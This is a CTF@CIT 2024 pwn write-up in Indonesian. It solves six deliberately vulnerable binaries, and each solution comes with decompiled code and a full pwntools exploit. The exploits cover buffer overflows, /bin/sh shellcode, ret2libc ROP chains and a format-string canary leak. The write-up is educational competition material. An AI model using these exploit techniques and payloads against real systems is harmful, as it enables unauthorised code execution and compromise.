<style> img[alt=chall-sc] { display: block; margin: 0 auto; width: 100em; } p { text-align: justify; } p::first-line { text-indent: 0; } </style> # CTF@CIT 2024 Pwn Writeup (Bahasa Indonesia) ## ezpz > what if we went backwards..... really really fast.... > by nop.so > nc 165.227.103.166 6002 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax char v5[72]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v6; // [rsp+48h] [rbp-8h] v3 = time(0LL); srand(v3); v6 = rand() % 5uLL; setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n"); puts((&pwn_pep_talk)[v6]); puts("\n"); puts("i'm so tired of pwning and pwning all these insecure binaries."); puts("could you write me something to put the pep back in my step so"); puts("I can pop some shells and make nop.so proud?"); gets(v5); puts("\nthank you. I will cherish this.\n"); if ( v6 == -1LL ) system("/bin/sh"); return 0; } ``` Challenge dari program ini sangat sederhana, program akan memeriksa apakah nilai dari variabel `v6`, yang semula `random_number (dengan seed current_time) ≡ 5`, dapat diubah oleh kita (sebagai penyerang) menjadi `-1`. Jika kondisi tersebut terpenuhi, maka program akan memanggil fungsi `system("/bin/sh")` untuk menjalankan `Arbitrary Code Execution`. Terdapat kerentanan buffer overflow di dalam fungsi `gets(v5)`, dan variabel `v6` terletak tepat di bawah variabel `v5`. Oleh karena itu, kita dapat mengoverwrite `v6` dengan nilai `-1` atau `0xFFFFFFFFFFFFFFFF (bentuk heksadesimal dari -1)` setelah kita mengisi nilai variabel `v5`. `Sebelum payload dimasukan` ![chall-sc](https://hackmd.io/_uploads/HJT3gvMbR.png) `Setelah payload dimasukan` ![chall-sc](https://hackmd.io/_uploads/SyCReDf-R.png) #### POC ```python #!/usr/bin/python from pwn import * exe = './ezpz' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6002".split(" ")[1:3] io = remote(host, port) io.sendlineafter(b'proud?\n', flat({72: 0xFFFFFFFFFFFFFFFF})) io.interactive() ``` ![chall-sc](https://hackmd.io/_uploads/r15f08MZA.png) ## ret2monke > reject modernity, return to monke > by nop.so > nc 165.227.103.166 6001 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4[112]; // [rsp+0h] [rbp-70h] BYREF setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n"); puts("in today's society, is there not joy to be found in the simpler things?"); gets(v4); return 19; } ``` ### monke ```c int monke() { char s[8]; // [rsp+0h] [rbp-110h] BYREF __int64 v2; // [rsp+8h] [rbp-108h] __int64 v3; // [rsp+10h] [rbp-100h] __int64 v4; // [rsp+18h] [rbp-F8h] __int64 v5; // [rsp+20h] [rbp-F0h] __int64 v6; // [rsp+28h] [rbp-E8h] __int64 v7; // [rsp+30h] [rbp-E0h] __int64 v8; // [rsp+38h] [rbp-D8h] __int64 v9; // [rsp+40h] [rbp-D0h] __int64 v10; // [rsp+48h] [rbp-C8h] __int64 v11; // [rsp+50h] [rbp-C0h] __int64 v12; // [rsp+58h] [rbp-B8h] __int64 v13; // [rsp+60h] [rbp-B0h] __int64 v14; // [rsp+68h] [rbp-A8h] __int64 v15; // [rsp+70h] [rbp-A0h] __int64 v16; // [rsp+78h] [rbp-98h] __int64 v17; // [rsp+80h] [rbp-90h] __int64 v18; // [rsp+88h] [rbp-88h] __int64 v19; // [rsp+90h] [rbp-80h] __int64 v20; // [rsp+98h] [rbp-78h] __int64 v21; // [rsp+A0h] [rbp-70h] __int64 v22; // [rsp+A8h] [rbp-68h] __int64 v23; // [rsp+B0h] [rbp-60h] __int64 v24; // [rsp+B8h] [rbp-58h] __int64 v25; // [rsp+C0h] [rbp-50h] __int64 v26; // [rsp+C8h] [rbp-48h] __int64 v27; // [rsp+D0h] [rbp-40h] __int64 v28; // [rsp+D8h] [rbp-38h] __int64 v29; // [rsp+E0h] [rbp-30h] __int64 v30; // [rsp+E8h] [rbp-28h] __int64 v31; // [rsp+F0h] [rbp-20h] __int64 v32; // [rsp+F8h] [rbp-18h] FILE *stream; // [rsp+108h] [rbp-8h] *(_QWORD *)s = 0LL; v2 = 0LL; v3 = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; v20 = 0LL; v21 = 0LL; v22 = 0LL; v23 = 0LL; v24 = 0LL; v25 = 0LL; v26 = 0LL; v27 = 0LL; v28 = 0LL; v29 = 0LL; v30 = 0LL; v31 = 0LL; v32 = 0LL; stream = fopen("./flag.txt", "r"); if ( !stream ) { puts("internal error - contact @nop.so on discord"); exit(-1); } fgets(s, 256, stream); puts(s); return fclose(stream); } ``` ![chall-sc](https://hackmd.io/_uploads/rJLkSvfZR.png) Challenge dari program ini sangat sederhana, kita hanya perlu mengoverwrite `instruction pointer` atau `$rip` dengan address dari fungsi `monke` yang akan menampilkan flag pada layar. Terdapat kerentanan buffer overflow pada fungsi `gets(v4)`, sehingga kita dapat melakukan `execution flow hijacking` setelah mengisi ruang dari `$rbp-0x70` hingga `$rbp (base pointer)` sebanyak ukuran v4 (112 bytes), ditambah dengan 8 bytes (menimpa `$rip`). Karena mitigasi `Position Independent Executable (PIE)` dinonaktifkan, kita dapat langsung melompat ke address `monke` untuk mendapatkan flag. #### POC ```python #!/usr/bin/python from pwn import * exe = './ret2monke' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6001".split(" ")[1:3] io = remote(host, port) io.sendlineafter(b'things?\n', flat({120: 0x0000000000401186})) io.interactive() ``` ![chall-sc](https://hackmd.io/_uploads/HJDk8DfWR.png) ## really really old > we found a flash drive going through my late grandma's stuff. the only thing on it was this weird binary! sure hope there's nothing insecure about it :3 > by nop.so > nc 165.227.103.166 6000 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("\n"); puts("-+= WELCOME TO GRAMMA \x1B[32mnop.so\x1B[0m's SECRET SAUCE FLAVORTEXT GENERATOR =+-\n"); puts(&byte_40205F); puts(" ERROR! GENERATION FAILED!"); puts("\n"); puts(" SWITCHING TO FALLBACK USER INPUT MODE!\n"); puts(" -+= INPUT QUALITY FLAVORTEXT: =+-"); gets(v4); puts("\n"); printf("\"%s\" IS OF ACCEPTABLE QUALITY.\n\n", v4); return 19; } ``` ### krabby_patty_formula ```c void krabby_patty_formula() { __asm { jmp rsp } } ``` ![image](https://hackmd.io/_uploads/ryKazrQW0.png) Challenge dari program ini sangat sederhana, karena mitigasi `No Execute tidak ada (NX disabled)`, maka kita dapat memasukan `shellcode` untuk mendapatkan `Arbitrary Code Execution`. Karena terdapat `buffer overflow vulnerability` di fungsi `gets(v4)`, maka kita bisa mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `krabby_patty_formula (0x000000000040115a)` sehingga program akan langsung mengeksekusi instruksi `jmp rsp` untuk melompat ke address stack sehingga kita bisa memasukkan shellcode ke `$rsp (stack pointer)`. #### POC ```python #!/usr/bin/python from pwn import * exe = './really_really_old' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6000".split(" ")[1:3] io = remote(host, port) sc = asm(''' .section .shellcode,"awx" .global _start .global __start _start: __start: .intel_syntax noprefix .p2align 0 push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi push rsi push 0x8 pop rsi add rsi, rsp push rsi mov rsi, rsp xor edx, edx push 0x3b pop rax syscall nop nop ''', arch='amd64') io.sendlineafter(b'=+-\n', flat(cyclic(56), 0x000000000040115a, sc)) io.interactive() ``` ![chall-sc](https://hackmd.io/_uploads/BJ9EMr7bR.png) ## twostep > I was just reading about the Linux SystemV ABI, and realized that I forgot I have a dance with my favorite niche internet microcelebrity in 30 minutes! can you teach me how to Texas two-step in time so I can show them I mean business? by nop.so nc 165.227.103.166 6003 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax char v5[432]; // [rsp+0h] [rbp-1B0h] BYREF v3 = time(0LL); srand(v3); setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); arg1 = rand() % 69; arg2 = rand() % 420; puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n"); puts("omg hi! I've been practicing my texas two-step, but I can't quite figure it out."); puts("every time I almost nail it, I stumble and mess it all up. This will not do."); puts("\n"); puts("I have a meeting with an important niche internet microcelebrity in "); printf("%d HOURS and %d MINUTES, \nand ", (unsigned int)arg1, (unsigned int)arg2); puts("I can't afford to make a single mistake!"); puts("\n"); puts("have any advice for a stepper such as myself to lock in and fix my 2 step game?"); gets(v5); return 19; } ``` ### right_foot_creep1 ```c int monke() int __fastcall right_foot_creep1(int a1) { if ( a1 != arg1 ) { puts("wrong! womp womp."); exit(22); } *(_DWORD *)log = 1; return puts("almost. there."); } ``` ### left2_foot_creep_FORBIDDEN ```c int __fastcall left2_foot_creep_FORBIDDEN(int a1) { char s[8]; // [rsp+10h] [rbp-110h] BYREF __int64 v3; // [rsp+18h] [rbp-108h] __int64 v4; // [rsp+20h] [rbp-100h] __int64 v5; // [rsp+28h] [rbp-F8h] __int64 v6; // [rsp+30h] [rbp-F0h] __int64 v7; // [rsp+38h] [rbp-E8h] __int64 v8; // [rsp+40h] [rbp-E0h] __int64 v9; // [rsp+48h] [rbp-D8h] __int64 v10; // [rsp+50h] [rbp-D0h] __int64 v11; // [rsp+58h] [rbp-C8h] __int64 v12; // [rsp+60h] [rbp-C0h] __int64 v13; // [rsp+68h] [rbp-B8h] __int64 v14; // [rsp+70h] [rbp-B0h] __int64 v15; // [rsp+78h] [rbp-A8h] __int64 v16; // [rsp+80h] [rbp-A0h] __int64 v17; // [rsp+88h] [rbp-98h] __int64 v18; // [rsp+90h] [rbp-90h] __int64 v19; // [rsp+98h] [rbp-88h] __int64 v20; // [rsp+A0h] [rbp-80h] __int64 v21; // [rsp+A8h] [rbp-78h] __int64 v22; // [rsp+B0h] [rbp-70h] __int64 v23; // [rsp+B8h] [rbp-68h] __int64 v24; // [rsp+C0h] [rbp-60h] __int64 v25; // [rsp+C8h] [rbp-58h] __int64 v26; // [rsp+D0h] [rbp-50h] __int64 v27; // [rsp+D8h] [rbp-48h] __int64 v28; // [rsp+E0h] [rbp-40h] __int64 v29; // [rsp+E8h] [rbp-38h] __int64 v30; // [rsp+F0h] [rbp-30h] __int64 v31; // [rsp+F8h] [rbp-28h] __int64 v32; // [rsp+100h] [rbp-20h] __int64 v33; // [rsp+108h] [rbp-18h] FILE *stream; // [rsp+118h] [rbp-8h] if ( *(_DWORD *)log != 1 || a1 != arg2 ) { puts("not quite! teehee\n"); puts("connection terminated."); exit(420); } puts("magnificalicious. luh flaggington for you: \n"); *(_QWORD *)s = 0LL; v3 = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; v20 = 0LL; v21 = 0LL; v22 = 0LL; v23 = 0LL; v24 = 0LL; v25 = 0LL; v26 = 0LL; v27 = 0LL; v28 = 0LL; v29 = 0LL; v30 = 0LL; v31 = 0LL; v32 = 0LL; v33 = 0LL; stream = fopen("./flag.txt", "r"); if ( !stream ) { puts("internal error - contact @nop.so on discord"); exit(-1); } fgets(s, 256, stream); puts(s); return fclose(stream); } ``` Challenge dari program ini sangat sederhana, karena program telah memberikan nilai `arg1` dan `arg2` dari fungsi `printf("%d HOURS and %d MINUTES, \nand ", (unsigned int)arg1, (unsigned int)arg2)`, maka kita bisa bisa mengubah nilai `log` dari `0` menjadi `1` dengan memangggil fungsi `right_foot_creep1` dengan `arg1` sebagai value dari parameter `$RDI (Destination Index Register)` kemudian kembali ke fungsi `main (fungsi yang berfungsi sebagai titik awal pelaksanaan program)`, dilanjutkan dengan memanggil fungsi `left2_foot_creep_FORBIDDEN` dengan `arg2` sebagai value dari parameter `$RDI (Destination Index Register)` untuk mendapatkan flag. #### POC ```python #!/usr/bin/python from pwn import * exe = './twostep' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6003".split(" ")[1:3] io = remote(host, port) sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() li = lambda a: log.info(a) rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') e = lambda a: a.encode() cl = lambda: io.close() for i in range(1, 9): rl() data = rl().split(b' ') arg1 = int(data[0]) arg2 = int(data[3]) li(f"Arg 1: {arg1}") li(f"Arg 2: {arg2}") p = cyclic(440) + p64(0x00000000004011ca) + p64(arg1) + p64(0x00000000004011cf) + p64(0x0000000000401424) sla(b'game?\n', p) p = cyclic(440) + p64(0x00000000004011ca) + p64(arg2) + p64(0x000000000040121a) sla(b'game?\n', p) com() ``` ![chall-sc](https://hackmd.io/_uploads/rkO6FSXWA.png) ## leaky faucet > I don't even know what to do anymore. I was Fortnite last night when I heard an steady dripping noise coming from my basement. Turns out, there's a leak in my faucet, and I spent all my money commissioning meowskulls fanart! fix it, would you? by nop.so nc 165.227.103.166 6004 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __fastcall main(int argc, const char **argv, const char **envp) { char v4[32]; // [rsp+0h] [rbp-20h] BYREF setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n"); puts("ugh! my faucet's been leaking addresses all day, and I can't afford to call a plumber!"); puts("maybe you can help?"); puts("\n"); puts(" drip..."); puts("drip."); puts(" drip.."); printf(" %lp\n", &system); puts(" drip..."); puts(" drip..."); puts(" "); puts(" drip.."); puts("\n"); gets(v4); return 90; } ``` ### call_a_plumber ```c int call_a_plumber() { char s[8]; // [rsp+0h] [rbp-110h] BYREF __int64 v2; // [rsp+8h] [rbp-108h] __int64 v3; // [rsp+10h] [rbp-100h] __int64 v4; // [rsp+18h] [rbp-F8h] __int64 v5; // [rsp+20h] [rbp-F0h] __int64 v6; // [rsp+28h] [rbp-E8h] __int64 v7; // [rsp+30h] [rbp-E0h] __int64 v8; // [rsp+38h] [rbp-D8h] __int64 v9; // [rsp+40h] [rbp-D0h] __int64 v10; // [rsp+48h] [rbp-C8h] __int64 v11; // [rsp+50h] [rbp-C0h] __int64 v12; // [rsp+58h] [rbp-B8h] __int64 v13; // [rsp+60h] [rbp-B0h] __int64 v14; // [rsp+68h] [rbp-A8h] __int64 v15; // [rsp+70h] [rbp-A0h] __int64 v16; // [rsp+78h] [rbp-98h] __int64 v17; // [rsp+80h] [rbp-90h] __int64 v18; // [rsp+88h] [rbp-88h] __int64 v19; // [rsp+90h] [rbp-80h] __int64 v20; // [rsp+98h] [rbp-78h] __int64 v21; // [rsp+A0h] [rbp-70h] __int64 v22; // [rsp+A8h] [rbp-68h] __int64 v23; // [rsp+B0h] [rbp-60h] __int64 v24; // [rsp+B8h] [rbp-58h] __int64 v25; // [rsp+C0h] [rbp-50h] __int64 v26; // [rsp+C8h] [rbp-48h] __int64 v27; // [rsp+D0h] [rbp-40h] __int64 v28; // [rsp+D8h] [rbp-38h] __int64 v29; // [rsp+E0h] [rbp-30h] __int64 v30; // [rsp+E8h] [rbp-28h] __int64 v31; // [rsp+F0h] [rbp-20h] __int64 v32; // [rsp+F8h] [rbp-18h] FILE *stream; // [rsp+108h] [rbp-8h] *(_QWORD *)s = 0LL; v2 = 0LL; v3 = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; v20 = 0LL; v21 = 0LL; v22 = 0LL; v23 = 0LL; v24 = 0LL; v25 = 0LL; v26 = 0LL; v27 = 0LL; v28 = 0LL; v29 = 0LL; v30 = 0LL; v31 = 0LL; v32 = 0LL; stream = fopen("./flag.txt", "r"); if ( !stream ) { puts("internal error - contact @nop.so on discord"); exit(-1); } puts("The answer's always a little love and a little more teflon tape.\n"); fgets(s, 256, stream); puts(s); return fclose(stream); } ``` ![chall-sc](https://hackmd.io/_uploads/SJgUNUQ-0.png) Challenge dari program ini sangat sederhana. Dikarenakan mitigasi`PIE (Position Independent Executable)` diaktifkan maka kita tidak bisa langsung mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `call_a_plumber` untuk mendapatkan flag. Namun terdapat `buffer overflow vulnerability` di fungsi `gets(v4)` dan juga address dari fungsi `libc.system` yang sengaja dileak pada program menggunakan fungsi `printf(" %lp\n", &system)` sehingga kita bisa melakukan `ret2libc` untuk mendapatkan `Arbitrary Code Execution`. #### POC ```python #!/usr/bin/python from pwn import * exe = './leaky_faucet' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6004".split(" ")[1:3] io = remote(host, port) sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() li = lambda a: log.info(a) rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') e = lambda a: a.encode() cl = lambda: io.close() for i in range(1, 11): rl() rud(b' ') system = int16(rud(b'\n')) li(f"Leaked system: {hex(system)}") libc = ELF(libcdb.search_by_symbol_offsets({"system": system})) libc.address = system - 0x4f760 assert libc.address & 0xfff == 0 li(f"Libc base: {hex(libc.address)}") p = flat({0x28: [libc.address + 0x28266, libc.address + 0x28265, libc.address + 0x19ae34, libc.address + 0x4f760]}) sl(p) com() ``` ![chall-sc](https://hackmd.io/_uploads/S1IdS87W0.png) ![chall-sc](https://hackmd.io/_uploads/r1pkmU7ZA.png) ## THE LAKE > come back to the lake. by nop.so 165.227.103.166 6005 Diberikan sebuah Executable and Linkable Format (ELF) 64-bit. Langsung saja kita decompile. ### main ```c int __fastcall main(int argc, const char **argv, const char **envp) { char format[72]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v5; // [rsp+48h] [rbp-8h] v5 = __readfsqword(0x28u); setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("\x1B[32m~ authored by nop.so (https://nop.so/) ~\x1B[0m\n\n"); puts("\n\n"); puts("come back to the \x1B[31mlake\x1B[0m.\n"); puts("I see an object in the \x1B[31mlake\x1B[0m. I am drawn towards it."); puts("input how many steps I will take.\n"); gets(format); printf("I take "); printf(format); puts(" steps toward the \x1B[31mlake\x1B[0m."); puts("god, how many years has it been since it happened?"); puts("feels like forever. I've changed. people change.\n"); gets(format); printf("its been "); printf(format); puts(" years? time flies. \ni feel like a different person trapped in my own skin.\n"); puts("there's something in the \x1B[31mlake\x1B[0m. what is in the \x1B[31mlake\x1B[0m.\n"); gets(format); return 132; } ``` ### the_lake ```c unsigned __int64 the_lake() { FILE *stream; // [rsp+8h] [rbp-118h] char s[8]; // [rsp+10h] [rbp-110h] BYREF __int64 v3; // [rsp+18h] [rbp-108h] __int64 v4; // [rsp+20h] [rbp-100h] __int64 v5; // [rsp+28h] [rbp-F8h] __int64 v6; // [rsp+30h] [rbp-F0h] __int64 v7; // [rsp+38h] [rbp-E8h] __int64 v8; // [rsp+40h] [rbp-E0h] __int64 v9; // [rsp+48h] [rbp-D8h] __int64 v10; // [rsp+50h] [rbp-D0h] __int64 v11; // [rsp+58h] [rbp-C8h] __int64 v12; // [rsp+60h] [rbp-C0h] __int64 v13; // [rsp+68h] [rbp-B8h] __int64 v14; // [rsp+70h] [rbp-B0h] __int64 v15; // [rsp+78h] [rbp-A8h] __int64 v16; // [rsp+80h] [rbp-A0h] __int64 v17; // [rsp+88h] [rbp-98h] __int64 v18; // [rsp+90h] [rbp-90h] __int64 v19; // [rsp+98h] [rbp-88h] __int64 v20; // [rsp+A0h] [rbp-80h] __int64 v21; // [rsp+A8h] [rbp-78h] __int64 v22; // [rsp+B0h] [rbp-70h] __int64 v23; // [rsp+B8h] [rbp-68h] __int64 v24; // [rsp+C0h] [rbp-60h] __int64 v25; // [rsp+C8h] [rbp-58h] __int64 v26; // [rsp+D0h] [rbp-50h] __int64 v27; // [rsp+D8h] [rbp-48h] __int64 v28; // [rsp+E0h] [rbp-40h] __int64 v29; // [rsp+E8h] [rbp-38h] __int64 v30; // [rsp+F0h] [rbp-30h] __int64 v31; // [rsp+F8h] [rbp-28h] __int64 v32; // [rsp+100h] [rbp-20h] __int64 v33; // [rsp+108h] [rbp-18h] unsigned __int64 v34; // [rsp+118h] [rbp-8h] v34 = __readfsqword(0x28u); *(_QWORD *)s = 0LL; v3 = 0LL; v4 = 0LL; v5 = 0LL; v6 = 0LL; v7 = 0LL; v8 = 0LL; v9 = 0LL; v10 = 0LL; v11 = 0LL; v12 = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; v20 = 0LL; v21 = 0LL; v22 = 0LL; v23 = 0LL; v24 = 0LL; v25 = 0LL; v26 = 0LL; v27 = 0LL; v28 = 0LL; v29 = 0LL; v30 = 0LL; v31 = 0LL; v32 = 0LL; v33 = 0LL; stream = fopen("./flag.txt", "r"); if ( !stream ) { puts("internal error - contact @nop.so on discord"); exit(-1); } puts("it happened 10 years ago. it's time to move on."); fgets(s, 256, stream); puts(s); puts("\n"); fclose(stream); return v34 - __readfsqword(0x28u); } ``` ![chall-sc](https://hackmd.io/_uploads/Hyq0IIQWR.png) Challenge dari program ini sangat sederhana. Dikarenakan mitigasi`PIE (Position Independent Executable)` diaktifkan maka kita tidak bisa langsung mengoverwrite `$rip (instruction pointer)` dengan address dari fungsi `the_lake` untuk mendapatkan flag, dan mitigasi `canary` juga enabled artinya terdapat pengecekan terhadap nilai `canary` setelah `$rbp (base pointer)` diisi. Namun terdapat `format string vulnerability` di fungsi `printf(format)` sehingga kita bisa menggunakan `format string leak` untuk mendapatkan value dari `canary`, address dari `libc_base`, dan address dari `elf_base`. Terdapat `buffer overflow vulnerability` juga di fungsi `gets(format)` sehingga kita bisa membuat `ROPChain (Return-Oriented Programming Chain)` dengan teknik `ret2libc` untuk mendapatkan `Arbitrary Code Execution`. #### POC ```python #!/usr/bin/python from pwn import * exe = './thelake' elf = context.binary = ELF(exe, checksec = 0) context.bits = 64 context.log_level = 'debug' host, port = "nc 165.227.103.166 6005".split(" ")[1:3] io = remote(host, port) sla = lambda a, b: io.sendlineafter(a, b) sa = lambda a, b: io.sendafter(a, b) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sl = lambda a: io.sendline(a) rl = lambda: io.recvline() com = lambda: io.interactive() li = lambda a: log.info(a) rud = lambda a:io.recvuntil(a, drop=0x1) r = lambda: io.recv() int16 = lambda a: int(a, 16) rar = lambda a: io.recv(a) rj = lambda a, b, c : a.rjust(b, c) lj = lambda a, b, c : a.ljust(b, c) d = lambda a: a.decode('utf-8') e = lambda a: a.encode() cl = lambda: io.close() rud(b'proof of work: ') cmd = d(rud(b'\n')) li(f"Command: {cmd}") of = "output.txt" modified_cmd = f"{cmd} > {of} 2>&1" kitty_cmd = ["kitty", "@launch", "--location=split", "--cwd=current", "--", "sh", "-c", modified_cmd] subprocess.run(kitty_cmd) sleep(6) answer = open("output.txt", "r").read().strip() li(f"Answer: {answer}") sla(b'solution: ', answer.encode()) sla(b'take.\n', b'%15$p.%17$p.%19$p') rud(b'I take ') leaks = rud(b' ').split(b'.') canary = int16(leaks[0]) __libc_start_main_ret = int16(leaks[1]) main = int16(leaks[2]) elf.address = main - 0x00000000000013ba li(f"Elf base: {hex(elf.address)}") li(f"Canary: {hex(canary)}") li(f"__libc_start_main_ret: {hex(__libc_start_main_ret)}") libc = ELF(libcdb.search_by_build_id("023ea16fd6c04ef9cf094507024e6ecdb35e02ca"), checksec = 0) assert elf.address & 0xfff == 0 libc.address = __libc_start_main_ret - 0x27cd0 li(f"Libc base: {hex(libc.address)}") assert libc.address & 0xffffffffffff assert canary & 0xff == 0 sla(b'people change.\n', b'a') p = flat({72: [canary, 0xdeadbeef, libc.address + 0x28265, libc.address + 0x19ae34, libc.address + 0x28266, libc.address + 0x4f760]}) sla(b'\x1B[31mlake\x1B[0m.\n\n', p) com() ``` ![chall-sc](https://hackmd.io/_uploads/Sk0bcwQb0.png)